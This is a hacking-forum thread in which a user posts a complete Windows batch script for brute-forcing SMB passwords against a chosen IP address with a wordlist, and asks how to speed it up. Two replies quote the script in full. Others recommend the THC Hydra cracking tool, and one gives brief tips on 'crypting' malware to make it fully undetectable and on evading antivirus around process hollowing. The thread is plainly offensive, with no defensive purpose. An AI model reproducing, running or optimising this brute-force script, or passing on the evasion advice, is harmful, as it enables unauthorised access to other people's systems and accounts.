Hack Forums
Help with bat SMB-Bruteforce. - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447)
+---- Forum: Hacking Tools and Programs (https://hackforums.net/forumdisplay.php?fid=10)
+---- Thread: Help with bat SMB-Bruteforce. (/showthread.php?tid=6324985)



Help with bat SMB-Bruteforce. - NO199 - May 6, 2026

Yo, so I'm trying to find a way to make ebola's man bruteforce try passworrds faster. So if someone can help me i would really appreciate that.
Here is the Bruteforce:

@echo off
title SMB Bruteforce.
color A
echo.
set /p ip="Enter IP Address: "
set /p user="Enter Username: "
set /p wordlist="Enter Password List: "

set /a count=1
for /f %%a in (%wordlist%) do (
set pass=%%a
call :attempt
)
echo Password not Found :(
pause
exit

:success
echo.
echo Password Found! %pass%
net use \\%ip% /d /y >nul 2>&1
pause
exit

:attempt
net use \\%ip% /user:%user% %pass% >nul 2>&1
echo [ATTEMPT %count%] [%pass%]
set /a count=%count%+1
if %errorlevel% EQU 0 goto success


RE: Help with bat SMB-Bruteforce. - MadScientist - May 7, 2026

(May 6, 2026 08:52 AM)NO199 Wrote:  Yo, so I'm trying to find a way to make ebola's man bruteforce try passworrds faster. So if someone can help me i would really appreciate that.
Here is the Bruteforce:

@echo off
title SMB Bruteforce.
color A
echo.
set /p ip="Enter IP Address: "
set /p user="Enter Username: "
set /p wordlist="Enter Password List: "

set /a count=1
for /f %%a in (%wordlist%) do (
set pass=%%a
call :attempt
)
echo Password not Found :(
pause
exit

:success
echo.
echo Password Found! %pass%
net use \\%ip% /d /y >nul 2>&1
pause
exit

:attempt
net use \\%ip% /user:%user% %pass% >nul 2>&1
echo [ATTEMPT %count%] [%pass%]
set /a count=%count%+1
if %errorlevel% EQU 0 goto success

Why not use a threaded tool like Hydra?


RE: Help with bat SMB-Bruteforce. - ncrmrpher_or_FreakAnon - May 8, 2026

you could use autoit and CreateServiceA calls to brute force the pw. Use CreateProcessA for crypting if u need a good fud. and stay away from process hollowing unless you can bypass something w3ith some good asm bypasses.


RE: Help with bat SMB-Bruteforce. - Booga991 - May 9, 2026

(May 6, 2026 08:52 AM)NO199 Wrote:  Yo, so I'm trying to find a way to make ebola's man bruteforce try passworrds faster. So if someone can help me i would really appreciate that.
Here is the Bruteforce:

@echo off
title SMB Bruteforce.
color A
echo.
set /p ip="Enter IP Address: "
set /p user="Enter Username: "
set /p wordlist="Enter Password List: "

set /a count=1
for /f %%a in (%wordlist%) do (
set pass=%%a
call :attempt
)
echo Password not Found :(
pause
exit

:success
echo.
echo Password Found! %pass%
net use \\%ip% /d /y >nul 2>&1
pause
exit

:attempt
net use \\%ip% /user:%user% %pass% >nul 2>&1
echo [ATTEMPT %count%] [%pass%]
set /a count=%count%+1
if %errorlevel% EQU 0 goto success

I remember using this file a while back, im pretty sure it’s fake though.


RE: Help with bat SMB-Bruteforce. - NO199 - May 11, 2026

(May 7, 2026 11:07 AM)MadScientist Wrote:  Why not use a threaded tool like Hydra?

Where could I find it ? In kali ?


RE: Help with bat SMB-Bruteforce. - ▄︻デ══━一一一一━ - May 12, 2026

(May 11, 2026 09:15 AM)NO199 Wrote:  Where could I find it ? In kali ?

lookup THC Hydra.


RE: Help with bat SMB-Bruteforce. - NO199 - May 13, 2026

(May 12, 2026 02:36 AM)▄︻デ══━一一一一━ Wrote:  lookup THC Hydra.

Thanks I alredy have it, i'm learning how to use it.


RE: Help with bat SMB-Bruteforce. - ▄︻デ══━一一一一━ - May 14, 2026

(May 13, 2026 09:16 AM)NO199 Wrote:  Thanks I alredy have it, i'm learning how to use it.

You can text me if any doubts.


RE: Help with bat SMB-Bruteforce. - NO199 - May 18, 2026

(May 14, 2026 12:09 PM)▄︻デ══━一一一一━ Wrote:  You can text me if any doubts.

Bet, ill hyu if i need some help